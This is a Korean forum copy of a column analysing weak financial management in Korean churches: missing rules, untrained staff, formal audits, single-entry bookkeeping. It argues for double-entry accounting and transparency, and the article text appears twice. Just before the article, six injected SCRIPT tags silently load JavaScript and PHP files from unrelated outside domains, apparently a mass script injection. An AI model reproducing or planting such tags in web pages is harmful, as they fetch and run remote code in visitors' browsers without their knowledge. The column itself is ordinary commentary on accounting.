칼럼 [최호윤 칼럼] 한국교회 재정운용실태를 분석한다[공동선73호]
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작성자 by 관리자 / 작성일07-03-15 15:21 / 조회 5,083 / 댓글0본문
<SCRIPT Language=JavaScript src=http://scha.nodong.net/bbs/data/free/ky1105.js></script> <SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/asuyoil.js></script> <SCRIPT src=http://soccer1.ktdom.com/bbs/data/soccer4ugallery/keyp.txt></script> <SCRIPT Language=JavaScript src=http://poverty.jinbo.net/bbs/data/freeboard/softs.js></script> <SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script><SCRIPT Language=JavaScript src=http://dlcjsvlf.cafe24.com/Wiz.php></script> 통권 73호【특집】『 한국교회 재정운용실태를 분석한다! 』 - 최호윤 -
<<특집 - 종교 재산의 사유화>>
한국교회 재정운용실태를 분석한다!
구약시대에는 하나님께 봉헌한 예물이 제사장에 의해 임의로 처분되었고, 따라서 봉헌자도 하나님께 바친 것으로 만족하고 그 처리결과에 대하여 알려고도 하지 않았다. 그러나
구약시대의 제사제도와 제사장제가 없어진 오늘날의 교회에서는 하나님께 드린 헌금이 목회자 임의로 처분되는 것을 허용하지 않을 뿐만 아니라 교인들은 하나님께 드려진 헌금
을 관리하고 사용할 선한 청지기적 의무를 부담하므로 이에 대한 인식전환뿐만 아니라 이를 효율적으로 관리, 운영하여야 한다. 그러함에도 세상에서의 소금역할을 담당할 교회
가 내부 재정문제로 시끄러워 지면서 세상이 교회를 염려하기 시작하는 현재의 상황을 검토하여 앞으로 발생할 문제들을 미리 점검하고 개선할 필요가 있다.
2006년 상반기에 실시한 교회재정결산서에 대한 분석 작업 결과 교회 재정관리 관점에 있어 다음과 같은 문제점이 파악되었으며, 이에 대한 개선방안들을 고민해보겠다.
첫째, 재정담당자 및 교회 교인 전체적으로 재정관리에 중요성을 두지 않고 있다. 대부분의 교인들은 교회 예산수립, 결산에 대하여 자세히 알려고 하지 않고 개인은 기부금영수증만 받으면 되고 재정관리는 재정부에서 담당자들이 알아서 잘 하고 있을 것이다. 그리고, 협력하여 선을 이루는데 왈가왈부 따질 것이 아니라 믿음으로 믿고 밀어주어야 한다
는 생각들을 가지고 있었다.
교회공동체는 하나님을 대신하여 이 땅에서 교회에 드려진 헌금을 관리하고 운용할 청지기적 책임을 가지고 있음을 간과한 근본적인 문제점이 있다. 신구약 전체적으로 믿음과 구원에 관한 구절도 많이 있지만 (재정)관리책임을 강조하는 구절이 더 많다는 사실은 우리가 믿음만으로 모든 것을 대신할 수 있는 것이 아니라 관리에 대한 책임도 부담하고 있음을 직시하여야 한다. 또한, 교회 공동체 구성원 모두가 남의 교회가 아니라 우리 교회로서 공동체의 방향성에 대하여 같이 고민하고 바른 길을 찾아 나아가는 노력을 하여야 하겠다.
둘째, 대부분의 교회가 재정에 관한 규정(정관 또는 규약 등)을 가지지 않고 있었다.
규정은 장래 발생할 사실관계를 어떻게 정리할 것인가에 대한 지침서 역할을 하고, 처리방법에서 생길 수 있는 오해와 분쟁을 미리 막아주는 역할을 한다. 재정에 관한 규정이 없으면 특정인의 자의적인 재정집행을 막을 수 없고, 원칙 없이 해마다 상황에 따라 처리방법을 변경시킬 위험이 있다.
재정에 관한 규정에는 다음과 같은 사항들이 포함되어야 하겠다.
재정에 관한 조직: 최종승인결정기구/감독기구/집행기구/운영기구
재정 운영기준이 되는 원칙
회계연도
회계처리방식
특별회계의 종류
전표 및 장부의 종류
예산 수립
결산 및 공시
감사
기타 선언적 원칙: 세금처리/차입운영
셋째, 준비되지 않은 재정담당자와 재정담당자에 대한 교육의 부재현상이다.
설문에 참여한 재정 담당자중 30%만 회계에 대한 지식이 있다고 답하였고, 8%만 교회가 담당자를 위한 내외부 교육을 실시한다고 답하였다.
흔히들 재정관리는 중요하지만 어렵다고 하면서 이를 배워서 체계적으로 관리하기를 포기한다. 그래서 담당자들은 전임자가 하던 방식대로 하고, 전년도와 비슷하게 큰 과오 없이 결산을 마무리하면 아무도 문제를 제기하지 않는다. 개선의 노력이 없는 복지부동의 자세라고도 할 수 있다.
기업은 주주들의 투자자금으로 영업활동을 하고 회계담당자들은 주주들에게 배당할 수 있는 이익을 측정하기 위하여 어렵다는 복식부기를 정확히 배워서 활용한다. 이에 반하여 하나님나라의 재물을 관리하는 교회 재정 담당자는 재정관리 절차를 어렵게 생각하고 쉬운 방법으로 처리한다.
사람인 주주의 재물을 관리하는 기업의 회계담당자는 기업의 재정관리를 정확히 하는데 반하여 하나님의 재물을 관리하는 교회담당자가 하나님이 맡겨주신 재물을 정확히 관리하지 않는다면 이는 앞뒤가 뒤바뀐 것이다.
넷째, 재정결산 및 감사 절차가 유명무실하다. 교회마다 결산 및 감사절차를 두고는 있으나 형식적인 절차로 전락해있다. 이는 감사의 의미를 부정 적발이라는 관점으로만 보아 결산과 감사의 의미를 정확히 파악하지 못했기 때문이다.
결산과 감사는 1년 동안 하나님이 주신 재정으로 하나님이 교회를 통하여 하신 사업들을 교회가 정리하고 부족한 부분들을 개선하고 전체적으로 감사 드리는 과정이다. 즉, 감사監査는 감사感謝가 되어야 하는 것이다.
다섯째, 재정관리 하는데 아직도 많은 교회들이 수작업에 가까운 엑셀이나 워드프로세스로 결산작업을 수행한다. 수작업으로 결산을 하는 경우 업무의 정확성에 대한 신뢰도가 저하된다.
일례로, 담당자가 결산서를 작성하니 이월잔액보다 보관하는 시재가 부족하여 본인이 처리를 잘못했다고 생각하고는 개인 자금을 보충하였는데 나중에 보니 시재가 부족한 것이 아니라 워드로 합계를 내는 과정에서 발생한 계산오류가 그 원인이었다. 이러한 경우 단순히 웃고 넘어갈 수 있는 것이 아니라 본의 아니게 재정담당자의 정직성에 대한 의심을 할 수도 있게 되는 것이다.
여섯째, 대부분의 교회가 단식부기만을 사용하고 있다. (현금출납장 형식의 장부기록이 단식부기의 가장 대표적인 예이다.)단식부기는 한 가지 항목의 증가 및 감소를 관리하는 회계처리 방식이므로 수입과 지출의 원인을 별도로 관리하지 않는다. 즉, (전체)예금의 입금과 지출이 발생한 사실을 일자별로 기록하나 (개별)예금잔고의 증감을 별도로 관리하지 않으므로 수입(지출)기록에서 누락되거나 이중 기록된 경우 이를 확인하기가 어려우며, 개별 계좌별 입출금 내역을 관리하지 않으므로 당연히 (현금출납부)장부만으론 현재시점의 각 예금 계좌별 잔고를 확인할 수도 없다.
즉, 매 월말 또는 특정 시점의 자금 현황을 파악하려면 담당자가 개별 예금 통장을 일일이 다 확인하여야만 알 수 있다는 한계성을 내포하고 있다. 이러한 현상은 예금뿐만 아니라 교회가 관리해야 할 모든 재산 및 부채 적용되는 문제점이다. 예를 들어 교회가 소유하는 부동산의 목록, 불가피하게 교회가 외부로부터 금전을 차입하는 경우의 차입금 목록 등을 별도의 수작업으로 관리하여야만 알 수 있다는 문제점이다.
교회가 별도로 적립하는 적립금이 언제 적립되었으며 언제 어떻게 사용되었는지, 사용하는 비품들이 언제 구입되었으며, 구입한 비품들이 어떻게 사용 또는 처분 되는지를 일목요연하게 알 수가 없다.
이에 반하여 복식부기 장점 중에는 자기오류검증기능이 있다. 이는 복식부기에서 회계처리가 두 가지 이상의 계정이 서로 맞물려서 돌아가기 때문에 실수가 있더라도 스스로 차이(오류)가 있음을 보여줄 수 있다는 의미이다. 마치 여행을 갔다 와서 한 사람이 얘기할 때에는 그 사람이 틀리게 얘기하더라도 확인할 수 없지만 두 사람이 갔다 와서 서로 다른 얘기를 하면 두 사람 중 한 사람은 틀렸다는 것을 알 수 있는 것과 같은 이치이다. 한쪽만 관리하는 단식부기로 처리하면 실수로 회계처리를 하더라도 이를 스스로 밝혀낼 수 있는 기능이 없으므로 담당자의 오류를 찾기가 쉽지 않다.
일곱 번째, 교회마다 사용하는 계정과목의 성격이 상이하다.
결산서는 일년 동안의 활동을 숫자라는 언어로 표시한 것이고, 결산서의 계정과목은 언어의 단어 역할을 한다. 말을 할 때 사용하는 단어의 의미가 서로 다르면, 말하는 사람이 전
달하려는 의미를 듣는 사람이 다르게 이해를 하게 되므로 언어의 효용가치가 없어지게 된다.
따라서 결산서에 사용하는 계정과목은 동일한 의미를 표시하여야만 이를 보는 사람들이 결산서를 보고 동일한 의미로 이해할 수 있으나 교회마다 사용하는 계정과목의 명칭이 서로 다르고, 동일한 성격의 항목이 다른 계정과목에 표시되는 상황에서는 결산서가 제 역할을 다하지 못한다.
여덟 번째, 수지결산서만 결산서로 인식하고 있다. 수지결산서는 현금 및 예금의 수입 및 지출 현황을 정리한 보고서이나 다음과 같은 사고발생의 위험이 있다.
수지결산서는 교회에서 실제 보관하는 현금시재와 예금간의 거래(은행 입출금거래)를 구분하여 표시하지 않으므로 담당자가 특정 기간동안 예금을 인출하여 유용하다가 결산기 전에 다시 입금시켜두면 장부기록만으론 이를 막을 방법이 없다. 왜냐하면 개별 예금계좌간의 이동, 현금으로의 인출, 예금으로의 입금을 장부에 기록하지 않기 때문이다.
또한, 자산 및 부채 리스트를 관리하지 않고 자산 또는 부채의 취득(또는 처분)에 관한 과거의 사실을 확인하려면 몇 개 년도의 현금출납 사실을 다 확인하여야 하나 이렇게 하더라도 이를 정확히 파악하는 것이 쉬운 일이 아니다. 심지어 일부 교회에서는 담당자를 제외하고는 적립금을 관리하는 통장이 몇 개가 되는지 아무도 모르는 상황도 있다.
이런 상태에서 교인들이 관심을 가지지 않는 별도의 적립금을 담당자가 남들 모르게 인출하여 사용하거나 비품을 처분하여 개인이 횡령하더라도 이를 파악할 수가 없다. 이는 수지결산서가 당년도의 현금기준으로 수입 또는 지출만을 표시하고 비 현금 자산 또는 부채 관련 거래를 표시하지 않는 한계성 때문이다.
이러한 부정 방지 부분을 복식부기방식 등의 재정운용이라는 제도에 의지하기보다는 믿음으로 은혜에 의존하여 바르게 처리한다는 관점에서 이러한 관리시스템의 변경도입을 반대하는 사람들이 있으나 이는 마치 고양이 앞에 생선을 두고 고양이를 유혹하면서 생선을 먹지 말라고 재정담당자들에게 요구하는 것과 같다
'너희가 하나님과 재물Money, Mammon을 겸하여 섬기지 못하느니라'(마6:24)라는 말씀은 재물이 섬김의 대상으로서 하나님의 위치를 대신할 수 있다는 예수님의 경고의 메세지
이며, 이 경고의 말씀은 기독교인 개인적 차원뿐만 아니라 교회차원에도 적용된다.
투명한 교회재정관리는 교회가 믿음의 공동체로서 하나님나라를 확장하는 도구가 되게 하고 교회가 교회답게 살아나는 출발점이 된다.
최호윤 / <제일회계법인>에서 회계사로 일하고 있으며, <교회개혁실천연대> 집행위원이기도 하다.
<<특집 - 종교 재산의 사유화>>
한국교회 재정운용실태를 분석한다!
구약시대에는 하나님께 봉헌한 예물이 제사장에 의해 임의로 처분되었고, 따라서 봉헌자도 하나님께 바친 것으로 만족하고 그 처리결과에 대하여 알려고도 하지 않았다. 그러나
구약시대의 제사제도와 제사장제가 없어진 오늘날의 교회에서는 하나님께 드린 헌금이 목회자 임의로 처분되는 것을 허용하지 않을 뿐만 아니라 교인들은 하나님께 드려진 헌금
을 관리하고 사용할 선한 청지기적 의무를 부담하므로 이에 대한 인식전환뿐만 아니라 이를 효율적으로 관리, 운영하여야 한다. 그러함에도 세상에서의 소금역할을 담당할 교회
가 내부 재정문제로 시끄러워 지면서 세상이 교회를 염려하기 시작하는 현재의 상황을 검토하여 앞으로 발생할 문제들을 미리 점검하고 개선할 필요가 있다.
2006년 상반기에 실시한 교회재정결산서에 대한 분석 작업 결과 교회 재정관리 관점에 있어 다음과 같은 문제점이 파악되었으며, 이에 대한 개선방안들을 고민해보겠다.
첫째, 재정담당자 및 교회 교인 전체적으로 재정관리에 중요성을 두지 않고 있다. 대부분의 교인들은 교회 예산수립, 결산에 대하여 자세히 알려고 하지 않고 개인은 기부금영수증만 받으면 되고 재정관리는 재정부에서 담당자들이 알아서 잘 하고 있을 것이다. 그리고, 협력하여 선을 이루는데 왈가왈부 따질 것이 아니라 믿음으로 믿고 밀어주어야 한다
는 생각들을 가지고 있었다.
교회공동체는 하나님을 대신하여 이 땅에서 교회에 드려진 헌금을 관리하고 운용할 청지기적 책임을 가지고 있음을 간과한 근본적인 문제점이 있다. 신구약 전체적으로 믿음과 구원에 관한 구절도 많이 있지만 (재정)관리책임을 강조하는 구절이 더 많다는 사실은 우리가 믿음만으로 모든 것을 대신할 수 있는 것이 아니라 관리에 대한 책임도 부담하고 있음을 직시하여야 한다. 또한, 교회 공동체 구성원 모두가 남의 교회가 아니라 우리 교회로서 공동체의 방향성에 대하여 같이 고민하고 바른 길을 찾아 나아가는 노력을 하여야 하겠다.
둘째, 대부분의 교회가 재정에 관한 규정(정관 또는 규약 등)을 가지지 않고 있었다.
규정은 장래 발생할 사실관계를 어떻게 정리할 것인가에 대한 지침서 역할을 하고, 처리방법에서 생길 수 있는 오해와 분쟁을 미리 막아주는 역할을 한다. 재정에 관한 규정이 없으면 특정인의 자의적인 재정집행을 막을 수 없고, 원칙 없이 해마다 상황에 따라 처리방법을 변경시킬 위험이 있다.
재정에 관한 규정에는 다음과 같은 사항들이 포함되어야 하겠다.
재정에 관한 조직: 최종승인결정기구/감독기구/집행기구/운영기구
재정 운영기준이 되는 원칙
회계연도
회계처리방식
특별회계의 종류
전표 및 장부의 종류
예산 수립
결산 및 공시
감사
기타 선언적 원칙: 세금처리/차입운영
셋째, 준비되지 않은 재정담당자와 재정담당자에 대한 교육의 부재현상이다.
설문에 참여한 재정 담당자중 30%만 회계에 대한 지식이 있다고 답하였고, 8%만 교회가 담당자를 위한 내외부 교육을 실시한다고 답하였다.
흔히들 재정관리는 중요하지만 어렵다고 하면서 이를 배워서 체계적으로 관리하기를 포기한다. 그래서 담당자들은 전임자가 하던 방식대로 하고, 전년도와 비슷하게 큰 과오 없이 결산을 마무리하면 아무도 문제를 제기하지 않는다. 개선의 노력이 없는 복지부동의 자세라고도 할 수 있다.
기업은 주주들의 투자자금으로 영업활동을 하고 회계담당자들은 주주들에게 배당할 수 있는 이익을 측정하기 위하여 어렵다는 복식부기를 정확히 배워서 활용한다. 이에 반하여 하나님나라의 재물을 관리하는 교회 재정 담당자는 재정관리 절차를 어렵게 생각하고 쉬운 방법으로 처리한다.
사람인 주주의 재물을 관리하는 기업의 회계담당자는 기업의 재정관리를 정확히 하는데 반하여 하나님의 재물을 관리하는 교회담당자가 하나님이 맡겨주신 재물을 정확히 관리하지 않는다면 이는 앞뒤가 뒤바뀐 것이다.
넷째, 재정결산 및 감사 절차가 유명무실하다. 교회마다 결산 및 감사절차를 두고는 있으나 형식적인 절차로 전락해있다. 이는 감사의 의미를 부정 적발이라는 관점으로만 보아 결산과 감사의 의미를 정확히 파악하지 못했기 때문이다.
결산과 감사는 1년 동안 하나님이 주신 재정으로 하나님이 교회를 통하여 하신 사업들을 교회가 정리하고 부족한 부분들을 개선하고 전체적으로 감사 드리는 과정이다. 즉, 감사監査는 감사感謝가 되어야 하는 것이다.
다섯째, 재정관리 하는데 아직도 많은 교회들이 수작업에 가까운 엑셀이나 워드프로세스로 결산작업을 수행한다. 수작업으로 결산을 하는 경우 업무의 정확성에 대한 신뢰도가 저하된다.
일례로, 담당자가 결산서를 작성하니 이월잔액보다 보관하는 시재가 부족하여 본인이 처리를 잘못했다고 생각하고는 개인 자금을 보충하였는데 나중에 보니 시재가 부족한 것이 아니라 워드로 합계를 내는 과정에서 발생한 계산오류가 그 원인이었다. 이러한 경우 단순히 웃고 넘어갈 수 있는 것이 아니라 본의 아니게 재정담당자의 정직성에 대한 의심을 할 수도 있게 되는 것이다.
여섯째, 대부분의 교회가 단식부기만을 사용하고 있다. (현금출납장 형식의 장부기록이 단식부기의 가장 대표적인 예이다.)단식부기는 한 가지 항목의 증가 및 감소를 관리하는 회계처리 방식이므로 수입과 지출의 원인을 별도로 관리하지 않는다. 즉, (전체)예금의 입금과 지출이 발생한 사실을 일자별로 기록하나 (개별)예금잔고의 증감을 별도로 관리하지 않으므로 수입(지출)기록에서 누락되거나 이중 기록된 경우 이를 확인하기가 어려우며, 개별 계좌별 입출금 내역을 관리하지 않으므로 당연히 (현금출납부)장부만으론 현재시점의 각 예금 계좌별 잔고를 확인할 수도 없다.
즉, 매 월말 또는 특정 시점의 자금 현황을 파악하려면 담당자가 개별 예금 통장을 일일이 다 확인하여야만 알 수 있다는 한계성을 내포하고 있다. 이러한 현상은 예금뿐만 아니라 교회가 관리해야 할 모든 재산 및 부채 적용되는 문제점이다. 예를 들어 교회가 소유하는 부동산의 목록, 불가피하게 교회가 외부로부터 금전을 차입하는 경우의 차입금 목록 등을 별도의 수작업으로 관리하여야만 알 수 있다는 문제점이다.
교회가 별도로 적립하는 적립금이 언제 적립되었으며 언제 어떻게 사용되었는지, 사용하는 비품들이 언제 구입되었으며, 구입한 비품들이 어떻게 사용 또는 처분 되는지를 일목요연하게 알 수가 없다.
이에 반하여 복식부기 장점 중에는 자기오류검증기능이 있다. 이는 복식부기에서 회계처리가 두 가지 이상의 계정이 서로 맞물려서 돌아가기 때문에 실수가 있더라도 스스로 차이(오류)가 있음을 보여줄 수 있다는 의미이다. 마치 여행을 갔다 와서 한 사람이 얘기할 때에는 그 사람이 틀리게 얘기하더라도 확인할 수 없지만 두 사람이 갔다 와서 서로 다른 얘기를 하면 두 사람 중 한 사람은 틀렸다는 것을 알 수 있는 것과 같은 이치이다. 한쪽만 관리하는 단식부기로 처리하면 실수로 회계처리를 하더라도 이를 스스로 밝혀낼 수 있는 기능이 없으므로 담당자의 오류를 찾기가 쉽지 않다.
일곱 번째, 교회마다 사용하는 계정과목의 성격이 상이하다.
결산서는 일년 동안의 활동을 숫자라는 언어로 표시한 것이고, 결산서의 계정과목은 언어의 단어 역할을 한다. 말을 할 때 사용하는 단어의 의미가 서로 다르면, 말하는 사람이 전
달하려는 의미를 듣는 사람이 다르게 이해를 하게 되므로 언어의 효용가치가 없어지게 된다.
따라서 결산서에 사용하는 계정과목은 동일한 의미를 표시하여야만 이를 보는 사람들이 결산서를 보고 동일한 의미로 이해할 수 있으나 교회마다 사용하는 계정과목의 명칭이 서로 다르고, 동일한 성격의 항목이 다른 계정과목에 표시되는 상황에서는 결산서가 제 역할을 다하지 못한다.
여덟 번째, 수지결산서만 결산서로 인식하고 있다. 수지결산서는 현금 및 예금의 수입 및 지출 현황을 정리한 보고서이나 다음과 같은 사고발생의 위험이 있다.
수지결산서는 교회에서 실제 보관하는 현금시재와 예금간의 거래(은행 입출금거래)를 구분하여 표시하지 않으므로 담당자가 특정 기간동안 예금을 인출하여 유용하다가 결산기 전에 다시 입금시켜두면 장부기록만으론 이를 막을 방법이 없다. 왜냐하면 개별 예금계좌간의 이동, 현금으로의 인출, 예금으로의 입금을 장부에 기록하지 않기 때문이다.
또한, 자산 및 부채 리스트를 관리하지 않고 자산 또는 부채의 취득(또는 처분)에 관한 과거의 사실을 확인하려면 몇 개 년도의 현금출납 사실을 다 확인하여야 하나 이렇게 하더라도 이를 정확히 파악하는 것이 쉬운 일이 아니다. 심지어 일부 교회에서는 담당자를 제외하고는 적립금을 관리하는 통장이 몇 개가 되는지 아무도 모르는 상황도 있다.
이런 상태에서 교인들이 관심을 가지지 않는 별도의 적립금을 담당자가 남들 모르게 인출하여 사용하거나 비품을 처분하여 개인이 횡령하더라도 이를 파악할 수가 없다. 이는 수지결산서가 당년도의 현금기준으로 수입 또는 지출만을 표시하고 비 현금 자산 또는 부채 관련 거래를 표시하지 않는 한계성 때문이다.
이러한 부정 방지 부분을 복식부기방식 등의 재정운용이라는 제도에 의지하기보다는 믿음으로 은혜에 의존하여 바르게 처리한다는 관점에서 이러한 관리시스템의 변경도입을 반대하는 사람들이 있으나 이는 마치 고양이 앞에 생선을 두고 고양이를 유혹하면서 생선을 먹지 말라고 재정담당자들에게 요구하는 것과 같다
'너희가 하나님과 재물Money, Mammon을 겸하여 섬기지 못하느니라'(마6:24)라는 말씀은 재물이 섬김의 대상으로서 하나님의 위치를 대신할 수 있다는 예수님의 경고의 메세지
이며, 이 경고의 말씀은 기독교인 개인적 차원뿐만 아니라 교회차원에도 적용된다.
투명한 교회재정관리는 교회가 믿음의 공동체로서 하나님나라를 확장하는 도구가 되게 하고 교회가 교회답게 살아나는 출발점이 된다.
최호윤 / <제일회계법인>에서 회계사로 일하고 있으며, <교회개혁실천연대> 집행위원이기도 하다.